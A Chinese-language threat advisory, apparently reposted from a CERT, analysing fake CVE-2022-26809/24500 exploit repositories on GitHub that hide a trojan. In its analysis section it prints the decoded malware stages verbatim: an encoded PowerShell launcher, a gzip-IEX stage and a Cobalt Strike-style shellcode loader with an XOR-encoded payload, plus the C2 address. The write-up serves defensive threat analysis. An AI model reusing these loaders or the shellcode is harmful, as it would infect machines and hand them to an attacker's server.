警惕!利用Github进行水坑攻击安全风险通告

admin 2022年5月20日11:39:37安全新闻评论51 views14322字阅读47分44秒阅读模式

2022年5月19日,亚信安全CERT监测发现Github账户为rkxxz的用户发布了CVE-2022-26809和CVE-2022-24500 的项目,项目内容介绍为:CVE-2022-26809 RCE Exploit Remote Code Execution和CVE-2022-24500 RCE Exploit SMB Remote Code Execution Vulnerability。经亚信安全CERT专家分析,该用户发布的多个项目内皆包含木马文件,亚信安全CERT提醒大家做好安全防范,不要下载、运行该用户(rkxxz)的任何项目文件!


截至通告发布,亚信安全CERT第一时间对事件进行了跟踪分析,尚未在各大论坛发现该作者推送信息。预测下一波可能会到各大论坛对存储库进行推广,亚信安全将持续关注动态。


同时,由于近期安全事件频发,类似的钓鱼、水坑攻击层出不穷,亚信安全CERT提醒大家,对来历不明的文件一定要进行安全检查,防止误操作给个人和企业造成损失。


事件分析


一、背景介绍

2022年5月19日,亚信安全CERT监测发现Github账户rkxxz创建了CVE-2022-26809的项目,安全专家对项目内容开展分析。

警惕!利用Github进行水坑攻击安全风险通告


二、分析过程

1.查询目标基本信息

警惕!利用Github进行水坑攻击安全风险通告

源码为C#


2. 分析混淆状态与加壳

通过dnspy查看默认加壳信息

警惕!利用Github进行水坑攻击安全风险通告

ConfuserEx 确定默认加壳信息


3. 代码解密

混淆代码中找到Assembly.LoadModule进行断点,将数组保存出来,得到内存解密后的代码。

警惕!利用Github进行水坑攻击安全风险通告

解密后代码字符串为未被处理de4dot


警惕!利用Github进行水坑攻击安全风险通告

还原代码


初始还原的powershell代码:

PowerShell

"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsAZQ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GUAdQArAHYAcQBiADIAWQBDADgAcQBYAGUATQBkAGwAKwBaAEwAVwBFAGEAaQBZAFQAMwBxAC8AcwBIAHEAOABaAEgAVgBxAE8AOQBLAHYAWAB2ADkAZABHAHoAOABoAC8ANQBUADIAdgBKAG0ARAB3AGUAZQBBAFYAaQB6ADgARABnADEAYwB5ACsATQA1AFUAWAB0ACsAWgBqAEMAbQBDAFAAZgA0AFgAVwBnAGMAbwBtAEwANQBtAEgASwAvAEMAUwAzAEkALwBLAEcAVAAzAFYAeQBiAFIAVQBGAHIATABhAEMAZgBDAFQAKwBFAGUAOABnAHgAWQBsAFYASgB1AEUAZQB4AGwALwBnAFkAaABvAHIAagBzAFAAeQBuAGsARQBKAFUAQgA4AE0ALwBZAFIAaQAxAE0AZABuAGgAKwAyADUAbwBBAFIARgBNAEcAYwA2AGgARAB5AEMANQBNAHMAagArAEMAUwBHAHIAagAvADEAOQBDAHcAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA"


将powershell的base64进行解密,获得真实代码。

PowerShell

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1Xa3OiShr+HH8FH1KlVoxBMYzOVqoOCigIaMQLmpNKNdAiyp0GwTPz30+DmpPZyexO1a5VlN3Ne33eS7+oEN2rKLINJPsmJO6XMIpt3yPalcot6wuIeCL+qFa2iWeg4rhYv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d7lcDkwyieAcc3P3w0HO9sng/4i+jy9S3C45a7fNp+wAjDzp4EsWz6rXRM47jG8Ww9YupB49+54HsFV9oC7yk2p+u6sQ7IZ6wzj7pyXZbDiQXD69z2ZXw69cNdq/xAUQJehbaNQgyo0iSLP47ZL3y+7AM/CCvvYtrFAPZB0s+anJKTfUL+lHiufD/GIAflP53aAvwypnuHbrSoM/xqleqf1Qqwpb4cB7bJ/zFAkOiW+ZejECE7ve+jj9vyvu6dgvqhMBpxC0gvhP32D0mptr4GyeykuLyJs6fbN+II7DPjN+IGTQgHrnvRV/HWQrxDFaILoUUxPjsb7+W0FEDDgAA"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();


得到被混淆的代码,将末尾iex修改为输出,获得解密后的代码。

PowerShell

Set-StrictMode -Version 2

 

$DoIt = @'

function func_get_proc_address {

        Param ($var_module, $var_procedure)               

        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNat

iveMethods')

        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')

).Invoke($null, @($var_module)))), $var_procedure))

}

 

function func_get_delegate_type {

        Param (

                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

                [Parameter(Position = 1)] [Type] $var_return_type = [Void]

        )

 

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicMod

ule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

 

        return $var_type_builder.CreateType()

}

 

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFq

C9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3H

R0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDE1PbxUjZsGkA2y+V6dgrLuDpAsuxyvT6DK3J4T0Xd+IxTlyJY+jLbhSYyUXIkeFcXUWma6J2VOZu0K

KA3bvRJENbaPULOvVjwbJsV8SuyN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDYWxqZhoYZm12cG5wZgouKSMyMhYt070XA6NzikIDAbZTl0ziQ348PHeLVd968kqx4FcTFBxub/tL

43eqWIg9gaJsyG5oMRFOL6u8T421PexllkfRbokssfK1YK/0XvD8b+kRKUF89EpaimKWBZJD6vBt7fEtgihgcnjjvrZc4PYi6hsxHXxLAewGicbXPMUIDjd5WXrJhVUeuVbuUmtN6pqlvpSG5lFd6jOc9wgYIaaXH4Fvf/MAKwsaL2Ws6Q8Wr9OdftR1vx/rbjIN4aOJwcm9X

Kj/FTJUM9YETDAAFF2eCK0jS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BcWDRIaFA0SEBENFBEjIyMBsw==')

 

for ($x = 0; $x -lt $var_code.Count; $x++) {

        $var_code[$x] = $var_code[$x] -bxor 35

}

 

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntP

tr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

 

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))

$var_runme.Invoke([IntPtr]::Zero)

'@

 

If ([IntPtr]::size -eq 8) {

        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

}

else {

        IEX $DoIt

}


判断为CS(CobaltStrike)默认的powershell生成模板,只需要处理base64之后异或0x23即可得到原始shellcode。

警惕!利用Github进行水坑攻击安全风险通告

原始shellcode


得到C2服务器信息 45.197.132[.]72, 至此样本分析工作结束。


向上滑动阅览


三、溯源分析

1.  分析C2服务器IP关联信息

通过VT查询到域名关联信息为2020年1月5日,目前无法确定真实关联程度。

警惕!利用Github进行水坑攻击安全风险通告


通过fofa、quke等资产测绘平台均未发现历史扫描信息。无法确定资产历史情况。怀疑可能是新资产,同时,我们针对github上传信息进行溯源确认。


2. 分析Github账户信息

警惕!利用Github进行水坑攻击安全风险通告


创建者ID:rkxxz的提交记录如下。该用户具备安全防范意识,使用了github默认邮箱。

警惕!利用Github进行水坑攻击安全风险通告


该用户4月19创建的账户

警惕!利用Github进行水坑攻击安全风险通告


该用户于5月19日发布了两个项目,都含有木马程序。

警惕!利用Github进行水坑攻击安全风险通告


3. 分析C2资产信息

45.197.132[.]72的20223为关联端口,8899为上线端口。

警惕!利用Github进行水坑攻击安全风险通告


4. IOCs

○ 45.197.132[.]72

○ https://github[.]com/rkxxz

原文始发于微信公众号(亚信安全服务):警惕!利用Github进行水坑攻击安全风险通告

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月20日11:39:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  警惕!利用Github进行水坑攻击安全风险通告 http://cn-sec.com/archives/1024321.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: